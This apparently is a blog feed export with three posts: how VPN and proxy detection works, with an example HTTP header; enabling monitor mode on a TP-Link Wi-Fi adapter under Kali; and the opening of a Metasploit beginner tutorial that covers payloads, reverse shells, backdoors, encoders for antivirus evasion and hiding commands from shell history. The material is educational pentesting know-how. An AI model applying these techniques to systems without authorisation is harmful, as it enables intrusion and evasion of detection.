<p><strong>VPNs are provided by VPN service providers, which maintain a network of servers across various locations</strong>. </p>



<p>These providers develop and offer VPN software or apps that you can install on your computer or mobile device. When you connect to a VPN server, the software creates an encrypted &#8220;tunnel&#8221; through which your internet traffic passes, keeping your data secure and your online identity hidden.</p>



<h2 id="what-are-some-of-differences-between-vpns-and-proxies" class="wp-block-heading">What Are Some of Differences Between VPNs and Proxies?</h2>



<p>Both VPNs and proxies are used to route your internet traffic through a remote server, thus hiding your real IP address. However, there are some key differences between the two:</p>



<ol class="wp-block-list">
<li><strong>Encryption</strong>: VPNs encrypt your data, providing a secure and private connection, while proxies do not usually offer encryption.</li>



<li><strong>Traffic Types</strong>: VPNs route all your internet traffic through the VPN server, whereas proxies typically only route specific types of traffic (e.g., HTTP, SOCKS).</li>



<li><strong>Performance</strong>: VPNs may have a greater impact on your internet speed, as they use encryption and handle all your traffic. Proxies generally have a smaller impact on performance, as they route only specific types of traffic.</li>



<li><strong>Use Cases</strong>: VPNs are better suited for privacy, security, and unblocking geo-restricted content, while proxies are more commonly used for anonymity, caching, and content filtering.</li>
</ol>



<h2 id="how-can-you-detect-a-proxy-or-vpn" class="wp-block-heading">How Can You Detect a Proxy or VPN</h2>



<h2 id="how-do-ip-analysis-apis-detect-vpns-and-proxies" class="wp-block-heading">How Do IP Analysis APIs Detect VPNs and Proxies</h2>



<p>IP Analysis APIs, such as <a href="https://ProxyCheck.io" data-type="URL" data-id="https://ProxyCheck.io" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">ProxyCheck.io<span class="wpel-icon wpel-image wpel-icon-19"></span></a> and  <a href="https://ipqualityscore.com/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">IPQualityScore.com<span class="wpel-icon wpel-image wpel-icon-19"></span></a> utilize a combination of techniques to identify VPNs and proxies. Here are the main methods employed:</p>



<ol class="wp-block-list">
<li><strong>IP Database</strong>: These services maintain a comprehensive database of known VPN and proxy server IP addresses. This database is regularly updated to ensure accuracy.</li>



<li><strong>Reverse DNS Lookup</strong>: A reverse DNS lookup can reveal whether an IP address is associated with a hosting provider or a data center, which are commonly used by VPN and proxy services.</li>



<li><strong>TCP Fingerprinting</strong>: Analyzing the TCP/IP packets sent by a user can help identify whether they are using a VPN or proxy service. This technique looks for specific patterns and anomalies in the packet structure.</li>



<li><strong>WebRTC Leak Detection</strong>: WebRTC is a browser-based communication protocol that can inadvertently leak a user&#8217;s true IP address, even when using a VPN or proxy. IP detection services check for these leaks to help identify VPN and proxy users.</li>



<li><strong>DNSBL Test</strong>: A test that checks if the IP address is listed on any DNS-based blackhole lists (DNSBLs). These lists contain IP addresses associated with known VPNs, proxies, and other suspicious activities.</li>
</ol>



<h3 id="what-is-a-vpn-leak-how-does-that-affect-you-and-how-can-it-be-fixed" class="wp-block-heading">What Is a VPN Leak, How Does that Affect You, and How Can It Be Fixed?</h3>



<p><strong>A VPN leak occurs when your real IP address or other identifying information is inadvertently exposed while using a VPN</strong>. </p>



<p class="red-border has-palette-color-4-color has-black-background-color has-text-color has-background">This can compromise your privacy and security. There are several types of VPN leaks, such as DNS leaks, WebRTC leaks, and IPv6 leaks.</p>



<p>A VPN leak can affect you by:</p>



<ol class="wp-block-list">
<li>Revealing your true IP address and location, which can be used to track your online activities.</li>



<li>Exposing your browsing habits and personal information to hackers, advertisers, or other third parties.</li>



<li>Undermining your efforts to bypass geo-restrictions or access blocked content.</li>
</ol>



<p>To fix a VPN leak, you can:</p>



<ol class="wp-block-list">
<li>Use a reliable VPN service that offers built-in leak protection.</li>



<li>Disable WebRTC in your browser or use a browser extension that blocks WebRTC leaks.</li>



<li>Ensure that your VPN supports IPv6 or disable IPv6 on your device.</li>
</ol>



<p>In conclusion, detecting VPNs and proxies can be a complex task, but services like <a href="https://ProxyCheck.io" data-type="URL" data-id="https://ProxyCheck.io" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">ProxyCheck.io<span class="wpel-icon wpel-image wpel-icon-19"></span></a> <a href="https://IPQualityScore.com" data-type="URL" data-id="https://IPQualityScore.com" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">IPQualityScore.com<span class="wpel-icon wpel-image wpel-icon-19"></span></a> make it easier by employing various methods to identify users who are masking their online identity. Understanding the differences between VPNs and proxies, as well as knowing the potential risks associated with VPN leaks, can help users make informed decisions about their online privacy and security.</p>



<h2 id="frequently-asked-questions" class="wp-block-heading">Frequently Asked Questions</h2>


<div id="rank-math-faq" class="rank-math-block neon-border">
<div class="rank-math-list ">
<div id="faq-question-1679274467285" class="rank-math-list-item">
<h3 id="can-all-proxies-vpns-be-detected-online" class="rank-math-question ">Can All Proxies/VPNs Be Detected Online?</h3>
<div class="rank-math-answer ">

<p>While IP analysis services can effectively detect many VPNs and proxies, it is important to note that no detection method is foolproof. </p>
<p>Some advanced VPN and proxy services use techniques such as residential IP addresses or continually rotating IP addresses to evade detection.</p>

</div>
</div>
<div id="faq-question-1679274497044" class="rank-math-list-item">
<h3 id="can-proxies-vpns-be-traced-to-the-real-ip-address" class="rank-math-question ">Can Proxies/VPNs Be Traced to the Real IP Address?</h3>
<div class="rank-math-answer ">

<p>In some cases, it is possible to trace a proxy or VPN user&#8217;s real IP address through various techniques, such as WebRTC leaks or by analyzing packet headers. </p>
<p>However, this can be challenging, and advanced VPN and proxy services often implement robust security measures to prevent such tracing.</p>

</div>
</div>
<div id="faq-question-1679274513297" class="rank-math-list-item">
<h3 id="how-do-you-know-if-your-vpn-or-proxy-is-working" class="rank-math-question ">How Do You Know if Your VPN or Proxy Is Working?</h3>
<div class="rank-math-answer ">

<p>To check if your VPN or proxy is working, visit a website that displays your IP address, such this one. </p>
<p>If the IP address displayed is different from your actual IP address, your VPN or proxy is functioning correctly. Additionally, if your detected location is different from your actual location, it is a good indication that your VPN or proxy is working.</p>

</div>
</div>
</div>
</div>


<h2 id="how-to-start-analyzing-ips-and-user-connections" class="wp-block-heading">How to Start Analyzing IPs and User Connections</h2>



<p>IP analysis is the process of examining an IP address to gather information about the user&#8217;s connection and determine if it might be originating from a proxy or VPN. </p>



<p>The following are some simple techniques that you can use to analyze an IP address yourself:</p>



<ol class="wp-block-list">
<li><strong>IP Geolocation</strong>: By determining the geographic location associated with an IP address, you can check if the user&#8217;s claimed location matches the IP&#8217;s actual location. There are several online services and databases, such as <a href="https://www.maxmind.com/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">MaxMind GeoIP<span class="wpel-icon wpel-image wpel-icon-19"></span></a>, <a href="https://www.ip2location.com/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">IP2Location<span class="wpel-icon wpel-image wpel-icon-19"></span></a>, and <a href="https://ipapi.com/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">ipapi<span class="wpel-icon wpel-image wpel-icon-19"></span></a>, that offer geolocation data for IP addresses. <strong>If the locations don&#8217;t match, it could indicate the use of a proxy or VPN</strong>.</li>



<li><strong>IP Blacklists</strong>: Many organizations maintain lists of known proxy and VPN IP addresses. By checking if an IP address is present in these blacklists, you can determine if it&#8217;s associated with a proxy or VPN service. Some popular IP blacklists include the ones provided by <a href="https://www.ipqualityscore.com/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">IPQualityScore<span class="wpel-icon wpel-image wpel-icon-19"></span></a>, <a href="https://proxycheck.io/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">ProxyCheck.io<span class="wpel-icon wpel-image wpel-icon-19"></span></a>, and <a href="https://iphub.info/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">IPHub<span class="wpel-icon wpel-image wpel-icon-19"></span></a>.</li>



<li><strong>ASN Lookup</strong>: The <a href="https://en.wikipedia.org/wiki/Autonomous_system_(Internet)" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">Autonomous System Number (ASN)<span class="wpel-icon wpel-image wpel-icon-19"></span></a> is a unique identifier for a network or internet service provider (ISP) that controls a group of IP addresses. By looking up the ASN associated with an IP address, you can identify the ISP or organization that owns the IP address. If the IP address belongs to a known VPN provider or data center, it could indicate the use of a proxy or VPN. You can use services like <a href="https://bgp.he.net/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">Hurricane Electric&#8217;s BGP Toolkit<span class="wpel-icon wpel-image wpel-icon-19"></span></a>, <a href="https://www.team-cymru.com/ip-asn-mapping" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">Cymru&#8217;s IP to ASN Mapping<span class="wpel-icon wpel-image wpel-icon-19"></span></a>, or <a href="https://asn.cymru.com/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">Team Cymru&#8217;s IP to ASN Lookup<span class="wpel-icon wpel-image wpel-icon-19"></span></a> to find the ASN for an IP address.</li>



<li><strong>Reverse DNS Lookup</strong>: A reverse DNS lookup resolves an IP address back to its corresponding domain name. In some cases, the domain name can reveal if the IP address belongs to a known proxy or VPN provider. There are various online tools, such as <a href="https://mxtoolbox.com/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">MX Toolbox<span class="wpel-icon wpel-image wpel-icon-19"></span></a>, <a href="https://dnschecker.org/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">DNSChecker<span class="wpel-icon wpel-image wpel-icon-19"></span></a>, and <a href="https://centralops.net/co/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">CentralOps<span class="wpel-icon wpel-image wpel-icon-19"></span></a>, that allow you to perform reverse DNS lookups.</li>



<li><strong>IP Reputation</strong>: By checking the reputation of an IP address, you can determine if it has been involved in any malicious activities, such as spamming or hacking. A poor IP reputation could indicate that the IP address belongs to a proxy or VPN service that is frequently used for nefarious purposes. Services like <a href="https://check.spamhaus.org/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">Spamhaus<span class="wpel-icon wpel-image wpel-icon-19"></span></a>, <a href="https://senderscore.org/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">Sender Score<span class="wpel-icon wpel-image wpel-icon-19"></span></a>, and <a href="https://www.talosintelligence.com/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">Talos Intelligence<span class="wpel-icon wpel-image wpel-icon-19"></span></a> provide IP reputation data.</li>
</ol>



<p class="red-border has-palette-color-4-color has-black-background-color has-text-color has-background">Keep in mind that while these techniques can help you analyze an IP address and identify proxies or VPNs to some extent, they may not catch all instances, especially those that employ advanced evasion techniques. <br><br><strong>For more accurate results, you may need to use specialized APIs or services that employ a combination of these techniques along with advanced analysis methods.</strong></p>



<h2 id="example-simple-header-analysis-to-detect-a-proxy" class="wp-block-heading">Example Simple Header Analysis to Detect a Proxy</h2>



<p>In the context of detecting proxies or VPNs, a response header is a piece of information that the user&#8217;s browser sends to the web server when making a request. These headers can provide clues about whether a user is connecting through a proxy or VPN. Here&#8217;s an example of a few response headers that may be useful for detecting proxies or VPNs:</p>



<pre class="wp-block-code"><code>GET /example-page HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
X-Forwarded-For: 123.45.67.89
Via: 1.1 proxy-server-name (Apache/2.4.41)</code></pre>



<p>In this example, the <code>X-Forwarded-For</code> header contains an IP address (123.45.67.89) that indicates the original client&#8217;s IP. This header is often added by proxy servers to inform the destination server about the user&#8217;s actual IP address. However, not all proxy servers add this header, and some may even remove it to enhance anonymity.</p>



<p>The <code>Via</code> header provides information about the proxy server through which the request has been made. In this case, the header reveals that the request has been forwarded through a proxy server named <code>proxy-server-name</code> running <strong>Apache 2.4.41</strong>.</p>



<p>By analyzing these headers, a proxy or VPN detection service can gain insights into whether a user is connecting through a proxy or VPN. </p>



<p>However, as we mentioned before, not all proxies or VPNs can be detected solely based on headers, as some services may modify or remove certain headers to avoid detection.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://nooblinux.com/proxy-vpn-check-am-i-using-a-proxy-or-vpn/feed/</wfw:commentRss>
			<slash:comments>3</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">3768</post-id>	</item>
		<item>
		<title>How to Enable Monitor Mode on TP-LINK TL-WN722N V2/V3</title>
		<link>https://nooblinux.com/how-to-enable-monitor-mode-on-tp-link-tl-wn722n-v2-v3/</link>
					<comments>https://nooblinux.com/how-to-enable-monitor-mode-on-tp-link-tl-wn722n-v2-v3/#comments</comments>
		
		<dc:creator><![CDATA[N00b Ed]]></dc:creator>
		<pubDate>Fri, 29 Jul 2022 19:53:46 +0000</pubDate>
				<category><![CDATA[Pentesting]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Networking]]></category>
		<guid isPermaLink="false">https://nooblinux.com/?p=3672</guid>

					<description><![CDATA[In this tutorial we&#8217;ll enable monitor mode on a TP-LINK TL-WN722N V2/V3 wireless adapter, on a Kali Linux machine running on VMware or VirtualBox. Some sources may be confusing, and lead you to believe that you can only enable monitor mode on TP-LINK TL-WN722N v1 because it has one of the required chipsets for monitor [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p>In this tutorial we&#8217;ll enable monitor mode on a <a href="https://www.tp-link.com/us/home-networking/usb-adapter/tl-wn722n/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">TP-LINK TL-WN722N V2/V3<span class="wpel-icon wpel-image wpel-icon-19"></span></a> wireless adapter, on a Kali Linux machine running on VMware or VirtualBox. </p>



<p>Some sources may be confusing, and lead you to believe that you can only enable monitor mode on TP-LINK TL-WN722N v1 because it has one of the required chipsets for monitor mode, Atheros AR9271, and that you can&#8217;t enable it on V2/V3. You can, however.</p>



<p>To start off, if you&#8217;re using a virtual machine, first you&#8217;ll have to connect your <a href="https://nooblinux.com/connecting-a-wireless-adapter-to-kali-linux-virtual-machine/" data-wpel-link="internal">wireless adapter to your Kali Linux virtual machine</a>.</p>



<h2 id="set-up-the-adapter" class="wp-block-heading">Set up the Adapter</h2>



<p>Next, we&#8217;ll run some commands to set up the adapter.</p>



<p>First update and upgrade your package index.</p>



<pre class="wp-block-preformatted promptkali">sudo apt update &amp;&amp; sudo apt upgrade</pre>



<p>Reboot your machine.</p>



<pre class="wp-block-preformatted promptkali">sudo reboot</pre>



<p>Install Linux headers for your Kali Linux.</p>



<pre class="wp-block-preformatted promptkali">sudo apt install linux-headers-$(uname -r)
</pre>



<p>Run the following commands to install the <code>bc</code> package and remote the <code>r8188eu.ko</code> module.</p>



<pre class="wp-block-preformatted promptkali">sudo apt install bc</pre>
<pre class="wp-block-preformatted promptkali">sudo rmmod r8188eu.ko</pre>



<p>Clone the Realtek driver from the <code>aircrack-ng</code> Github repository.</p>



<pre class="wp-block-preformatted promptkali">git clone https://github.com/aircrack-ng/rtl8188eus</pre>



<p>Run the following commands.</p>



<pre class="wp-block-preformatted promptkali">cd rtl8188eus</pre>
<pre class="wp-block-preformatted promptkali">sudo -i</pre>
<pre class="wp-block-preformatted promptkali">echo "blacklist r8188eu" &gt; "/etc/modprobe.d/realtek.conf"</pre>
<pre class="wp-block-preformatted promptkali">exit</pre>
<pre class="wp-block-preformatted promptkali">reboot</pre>



<p>After the reboot run the following commands (we have to <code>cd</code> back into the <code>rtl8188eus</code> directory that we cloned earlier):</p>



<pre class="wp-block-preformatted promptkali">cd rtl8188eus</pre>
<pre class="wp-block-preformatted promptkali">make</pre>
<pre class="wp-block-preformatted promptkali">sudo make install</pre>
<pre class="wp-block-preformatted promptkali">sudo modprobe 8188eu</pre>



<h2 id="enable-monitor-mode" class="wp-block-heading">Enable Monitor Mode</h2>



<p>To enable monitor mode, run the following commands:</p>



<pre class="wp-block-preformatted promptkali">sudo ifconfig wlan0 down</pre>
<pre class="wp-block-preformatted promptkali">sudo airmon-ng check kill</pre>
<pre class="wp-block-preformatted promptkali">sudo iwconfig wlan0 mode monitor</pre>
<pre class="wp-block-preformatted promptkali">sudo ifconfig wlan0 up</pre>
<pre class="wp-block-preformatted promptkali">sudo iwconfig</pre>



<p>Here&#8217;s the output you should be seeing. You can see that the adapter is set to <code>Mode: Monitor</code>.</p>



<figure class="wp-block-image size-full"><img fetchpriority="high" decoding="async" width="910" height="299" src="https://nooblinux.com/wp-content/uploads/2022/07/monitor-mode.png" alt="" class="wp-image-3675" srcset="https://nooblinux.com/wp-content/uploads/2022/07/monitor-mode.png 910w, https://nooblinux.com/wp-content/uploads/2022/07/monitor-mode-300x99.png 300w, https://nooblinux.com/wp-content/uploads/2022/07/monitor-mode-768x252.png 768w" sizes="(max-width: 910px) 100vw, 910px" /></figure>



<h3 id="troubleshooting-when-enabling-monitor-mode" class="wp-block-heading">Troubleshooting When Enabling Monitor Mode</h3>



<p>In some cases it doesn&#8217;t work right away. For example you may get the error <code>Error for wireless request "Set Mode" (8B06) : SET failed on device wlan0 ; Operation not permitted.</code></p>



<p>The solution that has worked for me every time is the following (credit to this <a href="https://github.com/mfruba/kernel/issues/28#issuecomment-742997493" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">Github user&#8217;s comment<span class="wpel-icon wpel-image wpel-icon-19"></span></a>).</p>



<p>Run the following commands in this order:</p>



<pre class="wp-block-code"><code>sudo ifconfig wlan0 up
sudo rmmod r8188eu.ko
sudo modprobe 8188eu
sudo iwconfig wlan0 mode auto
sudo ifconfig wlan0 down
sudo iwconfig wlan0 mode monitor
sudo ifconfig wlan0 up</code></pre>



<p>Now when you check <code>iwconfig</code> you should see the adapter is in monitor mode.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="909" height="643" src="https://nooblinux.com/wp-content/uploads/2022/07/monitor-mode-2.png" alt="" class="wp-image-3680" srcset="https://nooblinux.com/wp-content/uploads/2022/07/monitor-mode-2.png 909w, https://nooblinux.com/wp-content/uploads/2022/07/monitor-mode-2-300x212.png 300w, https://nooblinux.com/wp-content/uploads/2022/07/monitor-mode-2-768x543.png 768w" sizes="(max-width: 909px) 100vw, 909px" /></figure>



<h2 id="conclusion" class="wp-block-heading">Conclusion</h2>



<p>In this tutorial we set up a TP-LINK TL-WN722N V2/V3 adapter to run in monitor mode. If you have any issues or questions then please don&#8217;t hesitate to leave a comment. Hope this helped. Thank you.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://nooblinux.com/how-to-enable-monitor-mode-on-tp-link-tl-wn722n-v2-v3/feed/</wfw:commentRss>
			<slash:comments>35</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">3672</post-id>	</item>
		<item>
		<title>Metasploit Tutorial for Beginners &#8211; Basics to Advanced</title>
		<link>https://nooblinux.com/metasploit-tutorial/</link>
					<comments>https://nooblinux.com/metasploit-tutorial/#comments</comments>
		
		<dc:creator><![CDATA[Mahmud Hasan Saikot]]></dc:creator>
		<pubDate>Mon, 07 Feb 2022 07:38:00 +0000</pubDate>
				<category><![CDATA[Pentesting]]></category>
		<category><![CDATA[Networking]]></category>
		<guid isPermaLink="false">https://nooblinux.com/?p=3536</guid>

					<description><![CDATA[Metasploit, one of the most widely used penetration testing tools, is a very powerful all-in-one tool for performing different steps of a penetration test. If you ever tried to exploit some vulnerable systems, chances are you have used Metasploit, or at least, are familiar with the name. It allows you to find information about system [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p>Metasploit, one of the most widely used penetration testing tools, is a very powerful all-in-one tool for performing different steps of a penetration test. </p>



<p>If you ever tried to exploit some vulnerable systems, chances are you have used Metasploit, or at least, are familiar with the name. It allows you to find information about system vulnerabilities, use existing exploits to penetrate the system, helps create your own exploits, and much more. </p>



<p>In this tutorial, we’ll be covering the basics of Metasploit Framework in detail and show you real examples of how to use this powerful tool to the fullest. </p>






<h1 id="installing-metasploit" class="wp-block-heading"><a id="post-3536-_heading=h.gjdgxs"></a>Installing Metasploit</h1>



<p>Metasploit is available for Windows and Linux OS, and you can download the source files from the official repository of the tool in Github. If you are running any OS designed for penetration testing, e.g., Kali Linux, it will be pre-installed in your system. We’ll be covering how to use Metasploit Framework version 6 on Kali Linux. However, the basics will remain the same wherever you’re using Metasploit. </p>



<h2 id="installing-metasploit-on-linux" class="wp-block-heading"><a id="post-3536-_heading=h.30j0zll"></a>Installing Metasploit on Linux</h2>



<p>To install Metasploit in Linux you have to get the package <strong>metasploit-framework</strong>. On Debian and Ubuntu based Linux distros, you can use the apt utility: </p>



<pre class="wp-block-code prompt"><code>apt install metasploit-framework</code></pre>



<p>   On CentOS/Redhat you can the yum utility to do the same: </p>



<pre class="wp-block-preformatted promptrhel">yum install metasploit-framework</pre>



<h2 id="find-out-the-version-of-metasploit-and-updating" class="wp-block-heading"><a id="post-3536-_heading=h.1fob9te"></a>Find out the version of Metasploit and updating</h2>



<p>   If you’re not sure if you have Metasploit or not, you can confirm by typing <code>msfconsole</code> in your terminal: </p>



<pre class="wp-block-code prompt"><code>msfconsole</code></pre>



<pre class="wp-block-code"><code> _                                                    _
/ \    /\         __                         _   __  /_/ __                                                                                                                                                      
| |\  / | _____   \ \           ___   _____ | | /  \ _   \ \                                                                                                                                                     
| | \/| | | ___\ |- -|   /\    / __\ | -__/ | || | || | |- -|                                                                                                                                                    
|_|   | | | _|__  | |_  / -\ __\ \   | |    | | \__/| |  | |_                                                                                                                                                    
      |/  |____/  \___\/ /\ \\___/   \/     \__|    |_\  \___\                                                                                                                                                   
                                                                                                                                                                                                                 

       =&#091; metasploit v6.1.27-dev                          ]
+ -- --=&#091; 2196 exploits - 1162 auxiliary - 400 post       ]
+ -- --=&#091; 596 payloads - 45 encoders - 10 nops            ]
+ -- --=&#091; 9 evasion                                       ]

Metasploit tip: Tired of setting RHOSTS for modules? Try 
globally setting it with setg RHOSTS x.x.x.x</code></pre>



<p class="has-palette-color-4-color has-text-color has-background" style="background-color:#000000"><strong>Metasploit Tip</strong>: Start commands with a space to avoid saving them to history </p>



<p>As you can see my machine already has Metasploit Framework installed. </p>



<p>Metasploit changes its greeting messages every time you fire up the Metasploit Framework with the <code>msfconsole</code> command, so you might see a different greeting message when you run it.</p>



<p>You can also find out which version is installed once the program loads. Type in <code>version</code> and hit enter to get the answer: </p>



<pre class="wp-block-code promptmsf6"><code>version</code></pre>



<pre class="wp-block-code"><code>Framework: 6.1.27-dev
Console  : 6.1.27-dev</code></pre>



<p>I am using version 6. If you haven’t updated your Metasploit anytime soon, it’s a good idea to update it before starting to use it. This is because if the tool is old then the updated exploits will not get added to the database of your Metasploit Framework. You can update the program by the <code>msfupdate</code> command: </p>



<p>
  msf6 &gt; msfupdate
</p>



<p>
  [*] exec: msfupdate
</p>



<p>
  msfupdate is no longer supported when Metasploit is part of the operating
</p>



<p>
  system. Please use &#8216;apt update; apt install metasploit-framework&#8217;
</p>



<p>As you can see the <code>msfupdate</code> command is not supported. This happened because Metasploit is already a part of the operating system in the Kali Linux updated versions. If you’re using older versions of the Kali Linux, this command will work fine for your system. </p>



<p>Now that you know how to install and update the Metasploit framework, let’s begin learning some of the basics related to Metasploit. </p>



<h1 id="basics-of-penetration-testing" class="wp-block-heading"><a id="post-3536-_heading=h.3znysh7"></a>Basics of Penetration testing</h1>



<p>Before we begin, let’s familiarize ourselves with some of the steps of a penetration test briefly. If you’re already familiar with the concept then you can just skip ahead to the good part. Let’s list some of the fundamental steps in penetration testing: </p>



<ol class="wp-block-list"><li>Information Gathering / Reconnaissance    </li><li>Vulnerability Analysis   </li><li>Exploitation   </li><li>Post Exploitation   </li><li>Report   </li></ol>



<h3 id="1-information-gathering-reconnaissance" class="wp-block-heading"><a id="post-3536-_heading=h.2et92p0"></a>1. Information gathering / Reconnaissance</h3>



<p>At the very beginning of any penetration testing, information gathering is done. The more information you can gather about the target, the better it will be for you to know the target system and use the information later in the process. Information may include crucial information like the open ports, running services, or general information such as the domain name registration information. Various techniques and tools are used for gathering information about the target such as – <strong>nmap</strong>, <strong>zenmap</strong>, <strong>whois</strong>, <strong>nslookup</strong>, <strong>dig</strong>, <strong>maltego</strong>, etc.  </p>



<p>One of the most used tools for information gathering and scanning is the <code>nmap</code> or <strong>Network Mapper</strong> utility. For a comprehensive tutorial for information gathering and <code>nmap</code> which you can check out from <a href="https://bytexd.com/how-to-use-nmap/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">here<span class="wpel-icon wpel-image wpel-icon-19"></span></a>. </p>



<h3 id="2-vulnerability-analysis" class="wp-block-heading"><a id="post-3536-_heading=h.tyjcwt"></a>2. Vulnerability Analysis</h3>



<p>In this step, the potential vulnerabilities of the target are analyzed for further actions. Not all the vulnerabilities are of the same level. Some vulnerabilities may give you entire access to the system once exploited while some may only give you some normal information about the system. The vulnerabilities that might lead to some major results are the ones to go forward with from here. This is the step where Metasploit gives you a useful database to work with. </p>



<h3 id="3-exploitation" class="wp-block-heading"><a id="post-3536-_heading=h.3dy6vkm"></a>3. Exploitation</h3>



<p>After the identified vulnerabilities have been analyzed, this is the step to take advantage of the vulnerabilities. </p>



<p>In this step, specific programs/exploits are used to attack the machine with the vulnerabilities. </p>



<p>You might wonder, <em><span style="text-decoration: underline;">where do these exploits come from</span></em>? </p>



<p>Exploits come from many sources. One of the primary source is the vulnerability and exploit researchers. People do it because there is a lot at stake here i.e., there may be huge sums of money involved as a bounty. </p>



<p>Now, you may ask if the vulnerabilities are discovered, aren’t those application already fixed? The answer is yes, they are. But the fix comes around in the next update of the application. </p>



<p>Those who are already using the outdated version might not get the update and remains vulnerable to the exploits. The Metasploit Framework is the most suitable tool for this step. It gives you the option to choose from thousands of exploits and use them directly from the Metasploit console. New exploits are updated and incorporated in Metasploit regularly. You may also add some other exploits from online exploit databases like <a href="https://www.exploit-db.com/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">Exploit-DB<span class="wpel-icon wpel-image wpel-icon-19"></span></a>. </p>



<p>Further, not all the exploits are ready-made for you to use. Sometimes you might have to craft your own exploit to evade security systems and intrusion detection systems. Metasploit also has different options for you to explore on this regard. </p>



<h3 id="4-post-exploitation" class="wp-block-heading"><a id="post-3536-_heading=h.1t3h5sf"></a>4. Post Exploitation</h3>



<p>This is the step after you’ve already completed exploiting the target system. You’ve got access to the system and this is where you will decide what to do with the system. You may have got access to a low privilege user. You will try to escalate your privilege in this step. You may also keep a backdoor the victim machine to allow yourself to enter the system later whenever you want. Metasploit has numerous functionalities to help you in this step as well. </p>



<h3 id="5-report" class="wp-block-heading"><a id="post-3536-_heading=h.4d34og8"></a>5. Report</h3>



<p>This is the step that many penetration testers will have to complete. After carrying out their testing, the company or the organization will require them to write a detailed report about the testing and improvement to be done. </p>



<p>Now, after the long wait, let’s get into the basics of the actual program – Metasploit Framework. </p>



<h1 id="basics-of-metasploit-framework" class="wp-block-heading"><a id="post-3536-_heading=h.2s8eyo1"></a>Basics of Metasploit Framework</h1>



<p>In this section, we’ll learn all the basics related to Metasploit Framework. This will help us understand the terminologies related to the program and use the basic commands to navigate through. </p>



<h2 id="modules-of-metasploit-framework" class="wp-block-heading"><a id="post-3536-_heading=h.17dp8vu"></a>Modules of Metasploit Framework</h2>



<p>As discussed earlier, Metasploit can be used in most of the penetration testing steps. The core functionalities that Metasploit provides can be summarized by some of the modules: </p>



<ol class="wp-block-list"><li>Exploits   </li><li>Payloads   </li><li>Auxiliaries   </li><li>Encoders   </li></ol>



<p>Now we’ll discuss each of them and explain what they mean. </p>



<h3 id="1-exploits" class="wp-block-heading"><a id="post-3536-_heading=h.3rdcrjn"></a>1. Exploits</h3>



<p>Exploit is the program that is used to attack the vulnerabilities of the target. There is a large database for exploits on Metasploit Framework. You can search the database for the exploits and see the information about how they work, the time they were discovered, how effective they are, and so on. </p>



<h3 id="2-payloads" class="wp-block-heading"><a id="post-3536-_heading=h.26in1rg"></a>2. Payloads</h3>



<p>Payloads perform some tasks after the exploit runs. There are different types of payloads that you can use. For example, you could use the reverse shell payload, which basically generates a <strong>shell</strong>/<strong>terminal</strong>/<strong>cmd </strong>in the victim machine and connects back to the attacking machine. </p>



<p>Another example of a payload would be the bind shell. This type of shell creates a listening port on the victim machine, to which the attacker machine then connects. The advantage of a reverse shell over the bind shell is that the majority of the system firewalls generally do not block the outgoing connections as much as they block the incoming ones.  </p>



<p>Metasploit Framework has a lot of options for payloads. Some of the most used ones are the reverse <strong>shell</strong>, <strong>bind shell</strong>, <strong>meterpreter</strong>, etc. </p>



<h3 id="3-auxiliaries" class="wp-block-heading"><a id="post-3536-_heading=h.lnxbz9"></a>3. Auxiliaries</h3>



<p>These are the programs that do not directly exploit a system. Rather they are built for providing custom functionalities in Metasploit. Some auxiliaries are sniffers, port scanners, etc. These may help you scan the victim machine for information gathering purposes. For example, if you see a victim machine is running <strong>ssh</strong> service, but you could not find out what version of <strong>ssh</strong> it is using &#8211; you could scan the port and get the version of <strong>ssh</strong> using auxiliary modules. </p>



<h3 id="4-encoders" class="wp-block-heading"><a id="post-3536-_heading=h.35nkun2"></a>4. Encoders</h3>



<p>Metasploit also provides you with the option to use encoders that will encrypt the codes in such a way that it becomes obscure for the threat detection programs to interpret. They will self decrypt and become original codes when executed. However, the encoders are limited and the anti-virus has many signatures of them already in their databases. So, simply using an encoder will not guarantee anti-virus evasion. You might get past some of the anti-viruses simply using encoders though. You will have to get creative and experiment changing the payload so it does not get detected. </p>



<h2 id="components-of-metasploit-framework" class="wp-block-heading"><a id="post-3536-_heading=h.1ksv4uv"></a>Components of Metasploit Framework</h2>



